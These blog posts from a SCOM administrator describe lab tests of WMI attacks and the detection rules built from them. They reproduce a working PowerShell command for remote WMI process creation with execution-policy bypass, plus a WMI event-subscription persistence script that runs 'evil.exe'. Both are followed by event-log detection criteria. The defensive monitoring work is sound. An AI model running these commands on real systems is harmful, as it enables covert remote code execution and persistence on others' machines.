Security Monitoring: Using SCOM to Detect Remote WMI Attempts

Last week, I wrote about a WMI persistence attempt, where an attacker can use the WMI scheduler to effectively hide a scheduled task within WMI. Today, I’m going to talk about another use of WMI that was in Matt Graeber’s paper: remoting. This is another thing that I suppose will happen from time to time in an environment, but I’m guessing it’s fairly rare given the plethora of remote administration tools out there.

I started by borrowing the PowerShell code needed to accomplish this. As you can see, the code isn’t that difficult to write:

Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList ‘powershell.exe -noexit -ExecutionPolicy Bypass -File \\scom1\new_share\badps.ps1’ -ComputerName SQL1 -Credential ‘nagau\nagau’

I essentially created a share on my SCOM server to execute a PowerShell script remotely on my SQL server using my credentials. A bad guy can do this too, though I’m also going to assume that they are using something a bit sophisticated to do this and would be passing the hash of a stolen account into this in some capacity. I’m not too worried about that at the moment, I’m more concerned with seeing what can be safely detected. The WMI logs were unfortunately useless. However, there were some interesting events in the security logs on both of the servers in question.  On my source server, the following event was captured:


This is a standard logon/logoff event, and you’ll see this pretty much every time something logs on to your system. On it’s own, that’s going to be a noisy event, but often times with this kind of stuff, the devil can be in the details, and I think the highlighted information may have some clues that there’s something on that shouldn’t be.  For one, this isn’t a standard RUNAS command, as the event ID implies. I tested this on the same system, but doing a local RUNAS will have the account name you used listed, but it will also have a target of localhost. The additional information will also say local host. The process name is also somewhat telling here, being svchost. While it’s not unusual to see svchost in a process, this event is telling us that svchost is making a remote procedure call. It’s probably worth noting that there was another 4648 on the same machine that told a bit more info about what I was doing, but I’m not sure it has anything useful that I could alert off of.


We can see from that event that I’m also targeting a remote server and that I’m using PowerShell_ISE to run the command, but ultimately an attacker is will be using their own tools, and if I knew the name of said process, I could just target that.  This particular event might be something worth searching for if the top event appears.

On the remote host, I also saw another telling event, in this case it was our 4688 that we routinely target:


If you look closely, you’ll notice that my PowerShell bypassed my execution policy. That alert fired as expected, so I won’t target that here. But the highlighted fields were also pretty unique for a typical 4688. You can see that WMI kicked off a PowerShell process, but under the context of the Network Service Account instead of the System account like one would typically see. The security ID also uses the NULL SID, which seems to differ from other Network Service account usages that created 4688 events. As such, I’m going to try out two new rules to see just how unique these guys are:

Rule 1 will target the security log looking for our 4648 with parameter 10 containing RPCSS, parameter 9 not containing the computer name, and parameter 12 containing SVC Host

Rule 2 will target the security log looking for a 4688 event with parameter 1 containing Network, parameter 10 containing NULL, and parameter 14 containing WmiPrvSe.exe

Note: For this to work properly, the process command line GPO MUST be set, otherwise, it will screw up the parameters.

I’ll let these bake and see if they make noise. Happy SCOMing.

Update 3/19 – SCOM can actually trigger one of these rules. It’s not surprising on investigation as SCOM will periodically have to restart the health service when it takes up too much CPU/RAM. Since my DC is chronically under-speced, I’m not surprised to find  SCOM doing this. Anyways, I’ve updated this rule to exclude SCOM’s remote WMI attempt.

Using SCOM to detect WMI Persistence Attempts

I have to tip my hat to a colleague (Ian Smith) for pointing me to this paper that Matt Graber did for Blackhat in 2015. It was an interesting read on how attackers can use WMI to do a number of things. I haven’t done much work within the Security Monitoring MP in regards to WMI, so this seems like some low hanging fruit to attack. Step one was to figure out what I could detect. I borrowed Matt’s code to do some simple tests. So for those that want to play along at home, here you go:

$filterName = ‘BotFilter82’
$consumerName = ‘BotConsumer23’
$exePath = ‘C:\Windows\System32\evil.exe’
$Query = “SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System’ AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320”
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace “root\subscription” -Arguments @{Name=$filterName;EventNameSpace=”root\cimv2″;QueryLanguage=”WQL”;Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace “root\subscription” -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate =$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace “root\subscription” -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

This PowerShell basically creates what is known as a WMI subscription. Subscriptions, in and of themselves, are not bad things. Applications use them all the time for creating processes under certain conditions, but unfortunately, an attacker can do this too. In this case, Matt was demonstrating how an attacker can create a subscription to execute a command line based executable (evil.exe) once the system was up between 200 and 320 seconds. I’m not too terribly concerned with query needed to execute it. The big take away here is monitoring for the use of the command line event consumer, as we can train SCOM to potentially look for something useful.

That useful information was found in the WMI-Activity log with this event:


The 5861 that was generated appears to be fairly rare. I don’t see it anywhere else on my lab, and the event description clearly lays out the code that I ran. As such, I have an easy set of items to search for:

Event Log = Microsoft-Windows-WMI-Activity/Operational

Event ID = 5861

Event Description contains “//./root/subscription” AND “CommandLineEventConsumer”

I’ll let this bake in my lab, and hopefully we will see this added to the next edition of Security Monitoring. Happy SCOMing.

Update 3/19 – This rule fires not only when the schedule is created, but also any time the conditions are met for it to be rerun.. If you have something legitimate creating WMI schedules, you’ll probably want to disable this rule for that particular machine. I did add a suppression event by the logging computer, so you should only see a repeat count here. Simply investigate the cause, and if it’s legit, you’ll want to override it. Beyond that, it has been very quiet.